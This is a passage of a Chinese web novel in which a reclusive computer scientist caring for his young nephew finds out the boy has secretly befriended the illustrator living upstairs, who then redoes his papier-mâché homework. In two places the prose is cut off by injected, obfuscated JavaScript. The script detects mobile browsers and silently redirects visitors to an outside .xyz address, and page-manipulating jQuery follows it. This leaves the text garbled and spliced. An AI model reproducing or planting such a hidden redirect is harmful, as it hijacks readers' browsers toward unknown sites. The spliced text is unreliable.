如果说第一夜的水漫金山事件只是揭开了袁周率小朋友“乖巧懂事”的第一层封印，那么经过几天的相处、适应和试探，这次的叫家长事件，可以说是让小家伙彻底原形毕露，开始丝毫不怵周默了。而第一天来时定下的“约法三章”，也早已被他忘得一干二净。 不乱涂乱画？ 看着白色墙角处乱成一团的彩笔线条，周默默默攥紧了拳头； 自己的东西不准乱丢？ 深夜忙完准备去洗漱，却猝不及防踩上一枚积木碎片，瞬间体验了一把全身过电般“快感”的周默仰面躺在沙发里，几乎咬碎了后槽牙； 自己睡觉？ 那更是不可能的事了，除了第一晚之外，后来的每一天他都要周默三催四请外加威胁恐吓才肯躺下——虽然他沾床就睡、连一分钟也撑不到，可在这之前让他躺床上就要耗费起码半小时。 最开始的两天，袁月女士每天早晚还会来通视频，关心一下自己儿子的表现和舅甥俩的相处情况，可渐渐地，视频从每天两次，变成了每天一次、两三天一次……对此，周默充分怀疑她是心虚了。 带娃的每一天都让周默越来越濒临崩溃。 然而在这崩溃中，周默却又发现小屁孩突然变得有点古怪。 起初，他以为这种古怪是小家伙在跟自己闹脾气，自己指东，他偏故意往西，自己指北他就故意往南。然而过了几次，他觉得真相可能并非这么简单。 因为这种“古怪”具体表现为：之前老想着跟他去精卫玩的小屁孩，开始对公司不那么热衷了，然而他又不愿意在家老实待着，每天一有空就往外跑，等晚饭的时候又还知道跑回来吃饭，有时候吃完饭还要再出去。 周默不是没问过他是去哪玩，但小家伙只说是最近交了个新朋友。 再细问，他就开始耍性子，哼地一声关门就走。 虽说周默并不反对小孩交朋友，可如此鬼鬼祟祟偷感十足，他也不能不提防。 于是，这天晚上，趁着小家伙睡着，周默偷偷拿过他放在床头的电话手表…… 19. 地下友谊 第二天，周默不用去公司。 下午三点多，接回袁周率小朋友后，两人就各自占据了客厅的一角各忙各的——周默坐在沙发里看书，小家伙则窝在地毯上玩游戏。 他面前的地毯上摆着好几架五颜六色的玩具战斗机，手中还拿着两架。战斗机被高举在半空中，相向而飞，时而前进时而后退，时而躲闪时而翻转，配合着他嘴里不停发出的“突突”声，那战况真的是……好不激烈！ 周默被吵得不行，从书上抬眼不耐地觑了他一眼，对这焦灼的“战局”不发表任何意见。 因为他知道，就算发表，小屁孩也不会听自己的。 于是他收回目光，转身从沙发后的书桌上拿过蓝牙耳机，戴上，开启降噪模式。 世界终于重新安静下来。 …… 没过多久，小朋友的“飞行大战”游戏就玩够了，他起身巡视了一圈，最后跑到书架前，从最底下一层周默专门为他腾出的格子里拿出之前拼好的积木，端到地毯上，一片片拆开，然后重新组装。 他动作很快，不一会儿一艘积木船就完成了。 玩了会儿海盗船的游戏，他又放下积木，有些颓丧地看着面前一堆玩具—— 好无聊啊…… 转头看向周默，见他手上还捧着那本大厚书，小家伙直接朝天花板翻了个白眼。 这书他之前看过一眼，太可怕了！密密麻麻全是字！好不容易找到一张图，还是不带颜色的，比自己一个人玩游戏还要无聊！ 既然都这么无聊…… 小家伙灵光一闪，来了主意。 周默正看着书，就感觉旁边沙发陷了一下，紧接着那一边的耳机被人摘掉，一个悄咪咪的声音几乎是趴在耳边响起：“舅舅，我想去游乐园！” 周默扭头看了小屁孩一眼，见他笑得一脸谄媚，黑亮黑亮的瞳孔里闪烁着不安分的光。 他面不改色地回头，继续看书：“你想呗，我又没不让你想。” “？” 袁周率小朋友有点懵。 歪头琢磨了好一会儿才明白过来这则文字游戏，不过他不气馁，换种说法再接再厉：“舅舅，我要去游乐园！” 这样说总不会被误解了吧？ 然而周默闲闲翻了一页，头也不抬：“不去。” 小家伙不乐意了，哼地一屁股起来又重重坐下去，气得直踢腿：“我好无聊！” “你不有这么多玩具呢？”周默还是不为所动，淡淡地说。 可惜袁周率小朋友涉世未深，未能听出他语气里微妙的阴阳怪气，只能单纯地回答他的问题：“我早就玩腻了！” “那你可以去找你的新朋友玩。” 没想这话一出，小家伙竟噎了一下。 他有些心虚地瞟了眼周默，乌黑的眼睛上浓密的长睫毛忽闪了几下，最后张了张嘴，吞吞吐吐地吐出一句：“……她应该还没回来呢。” 周默终于从书上抬起头，诧异地看向墙上的挂钟：“他还没放学？” “她都不用上学好吧。”小家伙又瞟了他一眼，配合说话的语气和脸上的表情——这次换他阴阳怪气了。 身为大人的周默自然听出来了，可他却没在意，心里想的还是：小屁孩竟然交了个连幼儿园都没上的朋友？ 不得不说，他对小屁孩的这个新朋友更好奇了。 - 另一边，迟了了正走进一家餐厅的大门。 正朝门内张望着，就见一个服务员迎上前来，热情招呼：“你好女士，请问几位？” “哦，我约了人……”她忙说，同时继续往里探望着。 下一秒，她目光落在落地窗边的一张桌子旁，面上登时一喜。 与此同时，桌旁正打电话的短发女人也看到了她，连忙抬手朝她招了招。 “我看到她了，谢谢！”迟了了说着，便越过服务员，笑嘻嘻地朝那边快步走过去。 …… “珍珍妈妈！——”一来到桌前，迟了了便俯身给了女人一个大大的拥抱。 是的，眼前的女人，便是许愿的妈妈，齐珍。 她一身白色修身西装优雅干练，眉眼间能看出一些岁月的痕迹，却并不显老态，反而更为她增添了几分从容不迫、成熟大方的气场。 迟了了来到跟前时，她还在讲着电话，只能仰首接住她的拥抱，同时用另一只手抱住她，轻轻拍了拍。 “好，那先这样，我这边有点事，回头再说。”她说完这句挂断电话，这才腾出两只手又抱住迟了了拍了拍，“好了好了，让我看看，最近有没有变瘦？” “没有瘦，不信你看！”迟了了忙站起身来，左右转着脑袋，又原地转了一圈，好让她能360°地看清自己。 齐珍拉着她的手，将她细细打量了一番，倒确实没有失望，可当视线落在迟了了脸上，又表情一变，微微眯眼：“倒是没瘦，就是这黑眼圈怎么出来了？” 啊？迟了了一听，惊恐地捂住眼下，眨着大眼猛摇头：“没有没有，珍珍妈妈你肯定看错了！” 怎么回事，她不管怎么熬从来都不长黑眼圈的，难道偏偏今天长了？！ 齐珍见她这反应顿时失笑，牵着她的手让她在对面坐下，又嗔了她一眼：“哄你的！不过看来确实没少熬夜，之前跟你说的都没往心里去吧？” 一听自己上当了，迟了了哼地一声放下手：“珍珍妈妈你太坏了！身为律师，竟然虚晃一枪，钓鱼执法！” “不钓鱼执法，你能跟我说实话？” “我听你话了，真的！”迟了了忙为自己辩白，“我就是最近赶稿子才偶尔熬一熬，平时能不熬都不熬的！” 齐珍忍不住笑了。 作为律师，她手下有家自己的律所，而且规模不小，如今不说在业内多有权威，但在荔安乃至全国也算是小有名气了。从业多年，她经手的案子、见过的人不胜枚举，早就炼就了一双火眼金睛，谁说实话、谁在说谎，她打眼一看，也能瞧出个八九不离十。 更别说迟了了这从小被她看着长大的小丫头了。 然而齐珍只是定定看了她一眼，无奈地摇摇头，并没有拆穿她。 喊来服务员点了餐上了菜，两人才又说起话来。 “你二爸干的那事儿，我骂过他了，死老头子这么大年纪了，办事儿不会动脑子，我看纯属读书读傻了，还是个教授呢！”即便是利落干练的齐大律师，数落起自己老公也是毫不留情。 迟了了连忙摇头：“没有没有，你别怪二爸，其实许愿在那边也挺好的，他有自己想干的事嘛。” “唉！”齐珍摇摇头，也不想提自己那傻儿子，“我本来想去见见那个租客的，但你说不合适，对人不礼貌，那就先算了。不过我听你二爸说，你们相处还挺好的？” “嗯嗯嗯！”迟了了嘴里正吃着饭，闻言一惊，忙不迭点头，“特别好！” 齐珍没多想，叹了口气：“那也行，你二爸这事办得糊涂，但好在结果没太坏，不然要是给你招来个麻烦，我饶不了他！” 迟了了嘻嘻一笑：“珍珍妈妈你就放心吧！” - 就这么又磨蹭了一会儿，直到五点多吃过晚饭，不知接收到了什么讯号，正在平板上玩华容道的袁周率小朋友突然蹦起来，丢下平板噼里啪啦地就朝门口跑去。 出门前，还不忘丢下一句兴高采烈的：“我出去玩啦！” 等周默抬起头来，大门已经被从外面带上，发出“嘭”的一声响。 而看着被紧闭上的大门，周默脑子里第一时间闪过的念头却是：……这时间跑别人家去，这孩子家长也真够好客的。 不过这念头只占据了他注意力半秒钟的时间，他立刻走到书桌前打开电脑，抬手在键盘上敲击了几下，一个黑色的窗口随即跳了出来。 黑色屏幕上，一个绿色的小点在上面一动不动地静止着，周默也不着急，就这么看着它。果然，没过一会儿小绿点以极其微小的幅度动了一下，然后停止。 周默继续等着。 片刻后，小绿点又晃了一晃，这次竟然开始往回走，最后停在了一个位置上。 周默眸中浮上一层困惑，修长的手指在键盘上敲了两下，屏幕上又蹦出另一个小红点——而红点的位置，与绿点几乎重合。 周默抬手摸索了下嘴唇。 这个红点是他这台电脑所在的位置，也是他给小屁孩电话手表里安装的定位监控软件母控制系统的定位，而那个小绿点，没错，就是小屁孩的 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那声音格外清晰，像是从耳边传来的一样，有一瞬间周默几乎以为她是在跟自己说话，心里不由紧张了一下，好在下一秒，某个小屁孩的声音也传了过来： “看我的！” 接下来便是两个声音轮流着“又该我啦！”“哪一个呢？”“这个吧！”“耶成功！”或者“哎哎好险！”…… 周默越听越迷糊，眉头皱成一团：这俩人到底在搞什—— 脑子里一句话还没过完，突然，扬声器里传来“哗啦”一声巨响，紧接着还有迟了了“我赢啦”的欢呼，以及小屁孩气急败坏的“哎呀”。 刹那间，周默明白了。 枉他还以为这两人在进行什么高深神秘的行动，合着只是在玩抽积木？ 一时间，周默有些恍然，又有些无奈……甚至，还有点想笑。 监控那头，一轮游戏结束，袁周率小朋友不甘示弱，叫嚣着要“再来一局，自己这次一定能赢”，于是两人呼呼啦啦一通整理，很快又开始了第二轮游戏。为了决定谁先抽第一个，两人还拿出了个玩具鲨鱼头，用按鲨鱼牙齿的方式来抽签，最终关键的那颗牙齿被迟了了按下，袁周率小朋友成功获得抽积木优先权。 周默听了一会儿，最后干脆戴上耳机，一边听两人玩游戏一边继续看书，俨然将楼上两人叽叽喳喳的声音当成了白噪音。 就这样，隔着一层天花板，周默听着两人在楼上先是玩了几轮抽积木，然后又玩起了掷飞镖，之后又看了一本故事书——真是奇怪，原本幼稚老套又无聊的童话故事，经由迟了了的口讲出来，竟然连周默听着都觉得有趣了许多。最后，两个人还跑到楼下去喂猫。 再之后，小家伙就回来了…… 周默看看时间，不多不少，正好一个小时。 袁周率小朋友进门的时候，周默并没有立刻把耳机摘下来——那样太欲盖弥彰了。 他就这么淡定地看着小家伙一蹦一跳地进来，心情颇好地叫了声“舅舅”，然后一个眼神也没给自己，径直跑到书架底层自己给他腾出来放绘本和玩具的格子旁，从里面翻出一本上午还说“早就看腻”的绘本，兴致勃勃地翻看起来。 周默盯着他看了一会儿，然后收回视线，转而看向头顶的方向。 如今已经知晓了这位神秘新朋友的身份，倒是没什么可担心的，可有个问题周默却怎么也想不明白—— 这俩人交个朋友，又没做什么玩物丧志或者有违公序良俗的事情，为什么要搞得这么鬼鬼祟祟、偷偷摸摸的？ 难道这是现在小朋友最新流行的交友方式？ 模仿成年人偷偷摸摸的“地下恋情”，搞什么“地下友情”？ 如果真是这样的话，那自己……是不是应该配合地装作不知道？ - 接下来的几天，因为有了迟了了这位“新朋友”，袁周率小朋友每天放学之后都有了事情做，而相应地，周默的日子也好过了许多。 只是这种好日子还没持续多久，周默就又遇到一个棘手的问题—— “家庭作业？那是什么东西？”周五晚上，晚饭过后，正收拾餐桌的周默听到袁周率小朋友的话，发出了灵魂一问。 20. 谁的作业 801，客厅。 沙发前的地毯上，茶几被挪到一旁，周默盘腿坐在它原来的位置，看着面前盆里被水浸泡得仿佛一团白色蛋花汤的莫名物体，抿起的嘴角中是丝毫不加掩饰的嫌弃。 面对这样一副情形，可以直观预想到其手感的他，两只手握了又握，却是无论如何也下不去手…… “舅舅，捞呀！” 负责把卫生纸撕成碎片、投入水中，并且充分搅拌浸泡的袁周率小朋友在完成自己的任务后，迫不及待地催促道。 周默冷冷斜了他一眼，目光里满是被这小屁孩再次坑害的不满。 最后，他索性将盆子一推：“你自己捞。” “啊？”袁周率小朋友一脸愕然。 “这是你的作业，自己的事情自己做。”周默理直气壮地说。 “可是我已经撕完纸片了。”不是说好分工合作的吗？ “反正我不捞。”周默双手一抱，一脸高冷。 小胖墩瞪眼看着他，一张小嘴撅得老高。 其实有一件事他没有告诉周默，这幅纸浆画可不只是交周末作业这么简单，他还跟李梓豪打了赌，谁做得好看谁就能和苏麦麦做一个星期的同桌！ 哦，李梓豪就是上次因为和他抢糖果打架被叫了家长的那个小朋友。 交作业事小，甚至跟苏麦麦做同桌都没那么重要，关键是，他要赢了李梓豪！ 但这可不能跟舅舅说，不然他肯定更不愿意帮忙了。 而且他在学校看过老师做的示范，知道捞纸这一步最恶心，所以才一开始就抢了撕纸的活，想把捞纸这一步留给舅舅……可是，哼，没想到大人这么不讲信用，说话不算话！ 没办法，袁周率小朋友只好自己动手。 小手下水的一瞬间，他就感觉手指被湿纸巾那种黏答答的触感包围了，顿时浑身起了一层鸡皮疙瘩。 可怜巴巴地看向舅舅……周默还是完全没有帮忙的意思。 哼！自己来就自己来！ 忍着难受，小家伙龇牙咧嘴地将碎纸片从水里给捞了上来——然而，两人都没想到，后面还有更大的挑战在等着他们。 …… 碎纸捞上来、挤干水分之后，便是挤入白乳胶和颜料。周默家没有老师说的丙烯颜料和水粉，只好拿小家伙的丙烯水彩笔凑合。 将碎纸和颜料搅拌均匀后，就是往事先画好图案的纸板上粘贴了。 舅甥俩都不是心灵手巧的那块料，于是纸板上只马马虎虎画了只小狗，为了追求点“艺术加成”，还加了顶帽子。 一开始袁周率小朋友对他画了这么简单的图案是很不满意的，毕竟他可是要去跟李梓豪比赛的，这小狗能行吗？可周默却说了一句话： “质量比形式重要。” 这话有点高深，以小家伙如今的水平还理解不透，但却成功被唬住了。 他思考了一会儿，好像真的懂了似的点点头，握起拳头：“那我们就开始吧！” 于是，第二波挑战，也开始了。 将纸巾碎往纸板上粘的过程看似简单，其实并不顺利，周默先用镊子夹了几夹碎纸，一撮撮均匀地放在纸板小狗的脸上，然后准备再将碎纸摊开。 然而这时，他发现根本摊不匀！ 纸巾不是这边揉成了一疙瘩，就是那边薄薄的只有一层纸。 摊不匀也就算了，粘得也不均匀。 要么是这一撮放久了，已经黏在纸板上怎么也扒拉不动，要么就是那边好不容易摊好了，可捣鼓旁边的纸团时不小心又带动了它，不过眨眼间，场面就变得一团乱麻…… 饶是定力再好，这样的捉襟见肘也让周默有些耐心告罄了。 “你们老师布置的这是什么作业？”他忍不住吐槽，“这是给小孩的作业吗？确定不是给家长的？” 袁周率小朋友看了他一眼，没吭声。 这话他不陌生，因为每次有家庭作业，他老妈也会说类似的话——而每当这种时候，按照他的经验，自己最好保持沉默，因为老妈只是想抱怨而已。 果然，舅舅也是如此，嘴上抱怨着，但做了个深呼吸，还是俯身低头继续跟手下的纸团做斗争。 又过了好大会儿，帽子小狗总算是完成了，周默又去粘旁边的空白处——他准备在这里粘些绿色的草地和蓝天。 有些人就是这样，即便做事的过程很磨人，但当他自认已经完成70%以上的时候，就会对100%有种莫名其妙的追求，这种追求可以称作“不完美的完美主义”，也可以视为“对作品的责任感”。 此时此刻，周默就陷入了这种“责任感”中。 然而，粘着粘着，袁周率小朋友发现情况有些不对…… “……舅舅，”小家伙忍了好久还是决定说出来，伸手指着面前刚粘好的那只小狗说，“这狗，好像精神不大正常。” 周默刚粘好一团绿色的纸浆，闻声动作一顿，转眸往小狗扫了一眼。 这一扫，就傻眼了。 只见几分钟前还勉强能入眼的小狗，才这么一会儿工夫就变得鼻子不是鼻子、眼睛不是眼睛、帽子也不是帽子了。 不仅眼睛的黑色颜料染到了白色的脸上，就连两只耳朵的边缘和蓝色的帽子也晕开了，乍一看，既像一只风中凌乱的杂毛狗，又像个晃晃悠悠不大稳定的狗魂魄，尤其是那张挂着黑水的煞白的脸……真是越看越像。 “……” 周默深吸一口气，勉强支撑的“责任感”和所谓“不完美的完美主义”在这一刻就像是太阳下的肥皂泡，前一秒还悠然自得地飘飘荡荡，“啪”地一下就破了。 他把镊子就地一扔，直接往后一靠，倚着沙发无语扶额。 呵，这算什么，他周默好歹是MIT的计算机博士，发过行业顶刊、拿过专业奖项、写过专利模型、带过研究团队，在业内也算小有名气，如今虽然是半隐退状态，却也不至于沦落到在这儿给一幼儿园小孩做家庭作业吧？ 做家庭作业也就算了，竟然还失败了？？！ 岂有天理？ 袁周率小朋友被他这反应吓得登时坐直了身子，大眼睛盯着他看了许久，然后眨巴几下，又转了转，试探地喊了声：“……舅，舅？” 不料这声“舅舅”直接把周默喊破防了： “你们老师怎么回事？” “这到底是学生的作业还是大人的作业？” “上了一星期班回来还要给小孩做这种莫名其妙的作业，就没有家长反对吗？” 他不由分说地一通发泄，把小家伙吓得噤若寒蝉，一声也不敢吭。 屋内陷入一片安静。 周默见他这表情，反应过来自己有些过激了，稍稍冷静下来，他吐了一口气，再去看那个纸浆小狗—— 嘶，更狰狞了。 就在他思考是该采取些补救措施，还是干脆扔掉重做时，一声不大服气的嘟囔传了过来：“舅舅真没用，要是三三姐姐在，肯定能搞定。” “呵。”周默不禁冷笑一声。 然而下一秒，他笑意一顿，镜片后的瞳孔中闪了一下。 - “好了！” 还是之前周默和小家伙对坐的沙发旁，迟了了举着手里刚完成的纸浆画，高兴地叫来看得犯困故而跑到旁边玩玩具的袁周率小朋友。 小家伙连忙扔掉玩具啪嗒啪嗒地跑过来，一看到那画他就发出惊叹：“哇！好漂亮呀！”他高兴得简直双眼放光，接过画左看看右看看，怎么也看不够。 周默原本正在后面书桌旁看书，闻声也抬眼看了过去，这一看也不禁惊了一下。 不大的油画板上，竟然出现了一个五彩斑斓的海底世界。体型巨大的海豚甩着尾巴在半空中遨游，旁边成片的鱼群像星星似的首尾相追，海豚和鱼群的下方，是几只半透明的水母，摇着长长的尾巴往上游着；再下面，还有成簇的红色珊瑚、弯弯曲曲的海带、躺在沙子上的海星……而在所有这些海洋生物的背景里，海水被阳光刺透而显出渐变闪烁的光芒，水面上的天空中，粉色的云彩像是一颗棉花糖…… 整幅画，美得像是画出来的。 原本听小屁孩提起她，还是以那种拉踩的口吻，周默是有些不屑的，但转念一想，他又觉得既然小屁孩亲近她，那自己何苦不把这烫手山芋扔出去呢？于是抱着这种心态，他让小家伙去请她帮忙。 没想到如今看来，她还真能搞定啊，而且搞定得“非常漂亮”！ 沙发前，迟了了看着袁周率小朋友捧着画一副爱不释手的样子，低声问了一句：“怎么样？能赢吗？” “嗯嗯嗯！肯定能！”小家伙喜不自胜。 迟了了这才放心地咧嘴笑了。 可一转头对上周默的目光，她又像触电般赶紧转了回去。 时间倒拨回两小时之前，当时迟了了正窝在画室画《萤火虫奇遇记》，就听到熟悉的敲门声响起。正纳闷怎么这么晚了小家伙还过来，却不想一开门，她就被小家伙扑到身上紧紧抱住了大腿。 “三三姐姐，救救孩子吧！” 得知小家伙的手工作业面临重大危机，更重要的是这份作业还关系着小家伙与“宿敌”打赌的输赢，迟了了立刻热血上头，半秒都没犹豫就应下了！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟着小家伙在地毯坐下，迟了了还是不敢掉以轻心。 她一直用余光瞄着存在感极强的周默，唯恐他猝不及防地开口，问自己什么时候跟小家伙这么熟了。 嗯……什么时候呢？ 其实就是那次俩人一起在楼下喂猫之后。 她本来就喜欢小孩，更别说小胖墩这孩子还这么可爱，而对于小胖墩来说，能有个陪自己玩耍的人当然开心，两人一见如故、一拍即合，就这么做起了“地下朋友”。 至于为什么要瞒着周默，当然还是因为闯闯的话。 边界感，这个词委实超出迟了了的认知范畴了，在她27年的人生阅历中，和人相处就是要热情主动。没有你来我往，人和人怎么熟悉？不熟悉，怎么睦邻友好、互帮互助？没有睦邻友好、互帮互助，怎么建立深厚的邻里情？没有邻里情…… 然而可是但是！ 热情这招对周默没用…… 这可让迟了了犯了难，唯恐一不小心就把这段还没来得及培养的邻里关系给扼杀在了胚胎状态。 可以说，在她眼里，现在的周默跟瓷娃娃没什么区别，都是需要小心呵护的物种。 然而可是又但是的是，万一他真的问出来了，自己应该怎么回答呢？ 说“我觉得小朋友交朋友没必要告知大人”？ 呃，自己怕是会被当场拉黑； 说“我和小家伙是单纯的友谊，不想掺杂大人之间复杂的人际关系”？ 啧，忒做作了点； 要不就直接坦白“我虽然还没摸清你的边界感在哪里，但已经知道你在避着我了，怕跟小家伙玩你会介意，所以只能偷偷瞒着你了”？ 话都挑明，那可就尴尬了。 …… 好在周默只是看了两人一会儿，便绕到书桌后，拿起一本书看了起来……看样子，似乎没有刨根问底的打算。 迟了了登时一喜，偷偷松了口气，又赶紧把目光投向袁周率朝自己举起的那块画板。 这一看，她立刻瞪大了眼！ “这是——”什么妖怪？！ “这就是刚刚我和舅舅一起做的……”袁周率小朋友垂头丧气地说。 迟了了：“……” 再次悄悄将视线转向沙发后，从她的视角看过去，周默的脸已经完全被他手上那本书给挡住了。 迟了了没多想，回头又看着那幅面目全非、据说是“纸浆画”的东西咽了下口水。 21. 诱人主意 “那你们是想……让我挽救一下呢？”迟了了试探着问，“还是，重做一幅？” “呃……”袁周率小朋友朝周默望了望，想起之前他说的那句“质量比形式重要”一时有些拿不定主意。 这时，还是沙发后传来一声干脆利落的“重做一幅”让他下定了决心。 “重做一幅！”袁周率小朋友迫不及待地重复道。 迟了了朝后面看去，入目的还是那本外文书的封面，只好再次回头看向小家伙。 小家伙冲她重重一点头。 不得不说，听到这个回答的时候，她也暗自庆幸了一下。 大脑里飞快构思了一番，她很快有了想法。 然而一问又发现，这家里除了卫生纸和白乳胶，做纸浆画需要的一应材料工具竟几乎全都没有——她看向地上的那幅残次品，恍然意识到他们能做成这样子真的已经算不错了。 工欲善其事，必先利其器，她只好跑回楼上，拿个小篮子拎了一堆丙烯颜料、镊子、小毛刷，还有一个从杂物间里翻出来的不知是多久之前剩下的油画板带下来。 一切准备就绪，由她主导、袁周率小朋友不时搭把手、周默事不关己地坐在一旁的纸浆画作业，就这样“如火如荼”地开始了。 - “哎，这只能基本算做好了，还差很关键的一步呢！” 埋头捣鼓了两个多小时终于完成，迟了了也和袁周率小朋友一样沉浸在喜悦中，见小家伙高兴地举着画板，她又赶紧抢过来提醒道。 “还差什么？” 刚说完，背后就响起一道低沉的声音。 迟了了浑身一僵，眼睛咕噜噜一转，扯出一抹矜持的笑回身看上去：“还要再晾几天呢。” 嗯，友好、亲善，但又不过度热情！她在心里默念。 周默原本是看到她的画忍不住过来欣赏，来到近前听她这么说又顺口问了一嘴，可此时听到她回答的声调和语气，思绪不由一滞。 目光从画上移开，落到她脸上，眸光微不可见地一凝。 这人……今天怎么这么不对劲？ 迟了了见他看向自己，神情莫名，一时不知这是什么意思，又圆又亮的眼睛眨了一下，努力不让自己破功。 “周默，你这房子住得还习惯吗？”灵光一闪，她立刻转移了话题客气地问道。 然而这个问题却让周默更觉古怪。 这是什么话？自己都在这儿住了快一个月了，就算要问候，也有点晚了吧？ 但顿了两秒，他还是回答：“习惯。” 有了之前和眼前的教训，为免她再次问出什么莫名其妙的问题，周默抢先开口：“今天谢谢你帮忙了。” “哦，不用客气不用客气！”迟了了连连摆手，从地上起来。 “你，怎么会这个？而且，”周默示意了下旁边篮子里和茶几上那一堆瓶瓶罐罐的颜料，“还有这些东西？” 不得不说，周默歪打正着，找了个巧妙的话题。一说起专业来，迟了了立刻将脑子里对自己的提醒忘得一干二净。 她像只骄傲的小肥雀，闻声立刻抖了抖身上五彩斑斓的羽毛，昂首挺胸道：“那当然，这可是我的专业！” “专业？” “对呀，我不是跟你说过嘛，我是画画的！” 周默：“……”不好意思，忘了。 “而且我是专门画儿童绘本的！”她说这话时一脸自豪，全然不似别人说起自己的职业时下意识的内敛和遮掩，“这点东西对我来说，小菜一碟！” 周默看着她这副引以为傲的表情，不置可否地扯了下嘴角。 - 翌日，周默正在公司开会，倒扣在桌面上的手机突然响了一下。 拿过来一看，竟是某位已经“失踪”许久的母亲。 袁月：【图片】 袁月：【？】 周默抬眼看了遍前面的投屏电视，随手点开了那张图片。 下一秒，他眉头微微一动。 那是一张幼儿园班级群的聊天截图。 图上，老师先是发了一张照片，而后艾特了“袁周率妈妈”，并高度表扬了袁周率小朋友周末家庭作业的完成情况。 退回图片，周默看着她发来的那个问号，想了想，也回了个：【？】 那边袁月立马回过来：【这作业你做的？】 周默：【你觉得呢？】 袁月：【我觉得不是】 周默：【理由】 袁月：【你当年连辅导我写作业的耐心都没有，现在有耐心做这个？】 周默：【那是因为你笨】 袁月：【怒.jpg】 袁月：【难道我儿子比我聪明？】 “……” 这话周默反驳不了。 袁月又说：【所以是谁做的？你跟我说说，不然老师这夸奖我听着心虚】 袁月：【不会是你买的吧？你作弊？！】 这罪名周默可不背：【找人帮忙做的】 袁月追问：【谁呀？】 周默：【你别管，安心接着就行】 懒得再听她纠缠，他回完这一句便锁屏反扣手机，继续开会。 可过了会儿，他低下头，唇角微微勾了一下。 …… “老大，等会儿你有时间吗？我这边有个东西想找你看看。” 会议结束，周默拿着电脑走出会议室，没走几步，身后一个年轻男生便快步跟上来，小声问道。 周默看了眼手表，说：“我现在要去接小孩放学，回去给你电话，可以吗？” “嗯……”男生面露难色，但想了想，还是说，“那好吧。” 这时，两人正好来到祝赫办公室门口，男人似乎早就等在那里，见周默过来立马朝他招招手：“来，有件事儿跟你说一下，两分钟。” 周默让男生先回去，目光看向他。 “怎么？” 祝赫嘶了一声，抬手揽住他的肩膀，凑近一些低声说：“我觉得这样下去不行啊。” “什么不行？” “带小孩呀。”祝赫一脸苦恼，“你本来一周就来不了几天，现在每天下午还要线上办公，这也太耽误事了！” 离新品发布满打满算还有一个月，各部门都在紧锣密鼓地筹备，AI团队自然也不例外，周默虽然是个兼职顾问，但早就成了全组的主心骨，越来越多的东西都要从他这过一手，这么三天打鱼两天晒网下去，得有多少工作被耽误啊。 周默不是没想过这个问题，但也确实没办法。之前小屁孩愿意来公司，自己也就多花个接他放学的来回时间，但现在不仅他不肯来，大家也都忙，没工夫陪他玩，周默只能带他回家，然后自己在家办公。 这么一折腾，许多沟通自然没有当面处理来得方便。 “你有什么办法？”他看向祝赫，既然开了口，肯定是心里有打算了。 祝赫抬手托了下眼镜，有些难以启齿地清清嗓子：“咳咳，我想着，小知了她不是不上班嘛，而且她是画儿童绘本的，跟袁周率应该处得来，要不，请她帮个忙……” 周默差点以为自己听错了，许久才接过话：“带孩子？” 祝赫点头：“啊。” 周默难以置信地看着他，一时间脑中思绪万千，竟不知该说什么好。 他张了张嘴，半晌后不答反问：“不是，你怎么知道她画儿童绘本，还不上班？” “我们聊的呀。”祝赫一脸的理所当然。 周默无语扶额：他都忘了这俩人是一见如故的“好朋友”了。 “哎，我说真的，”祝赫见他不接茬又推了他一下，“你问问她呗，这难道不是个好主意吗？” 周默叹了口气，不可否认，确实是个好主意，但就是…… 有点打脸。 …… 深夜，周默仰面躺在床上，借着窗外射进来的微弱的亮光，看着头顶的天花板发呆。 旁边的小家伙忽地翻了个身，将一只脚啪地搭在了他身上。 思绪被打断，周默叹了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818849|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看向一侧。 黑暗中，小屁孩不知世事的脸庞让人看不大真切，但从他轻浅的呼吸声中周默也能毫无疑问地联想到此时他的样子，必定是张牙舞爪地趴在床上，脸朝自己这边侧着，肥嘟嘟的脸颊被挤压得变了形，连嘴巴也被挤得张开了一条小缝。 周默回过头，重新看向上方，同时淡定地拎起身上那只脚，往旁边一丢。 小家伙丝毫没被惊醒，只重新调整了个舒服的姿势，头一转，继续睡了。 周默将手背着枕在脑后，看着天花板继续沉思…… “她是画儿童绘本的，跟袁周率应该处得来。要不，你请她帮个忙？” 白日里祝赫的话再次在耳边响起，周默左思右想，拿不定主意。 确实，这两人何止是处得来，简直是忘年交，找她帮忙带袁周率，对自己而言确实是个不错的选择。 只是…… 半个月前自己之前还觉得人家烦，躲着避着跟避瘟神似的，如今因为她跟袁周率的交情，难道又想转过头求人帮忙？也未免忒不要脸了些。 算了算了！ 黑暗中周默摇摇头，自嘲地叹了口气，翻身闭上眼睛，催促自己赶紧睡觉。 ……可，确实是个相当诱人的主意啊！ - 第二天下午，迟了了出去玩了一圈回来，正戴着耳机一边听音乐一边把刚捡来的树叶做成书签。 突然，她动作一顿，紧接着一把拿掉耳机，朝大门的方向竖起耳朵。 “笃笃笃——” 没听错，果然有敲门声。 “来啦！” 奇怪，谁呀？ 不像是小家伙的敲门声呀。 她双手撑着沙发，从地毯上站起来，转身找了一圈，才找到被自己踢开的拖鞋，趿拉着穿上一边嘀咕一边往外走。 等来到门口趴在猫眼上一看，她顿时愣住了：竟然是周默！ 迟了了连忙后撤身子躲在门口，大脑飞速转动，思量着对方的来意。 经过前天的纸浆画事件，这段邻里关系算是有了那么点微妙的进步，而且她也看出来了，对方应该早就知道自己和小家伙秘密交朋友的事了。 早就知道，但这几次小家伙来玩他又从来没出现过，也没制止过，而且昨天来向自己求助的也是小家伙，不管这背后的原因是什么，迟了了觉得这应该都能说明他并没有想要干涉才对…… 可既然如此，他今天过来是要干嘛？ 迟了了屈起一根手指，轻轻敲击着下巴，思考着。 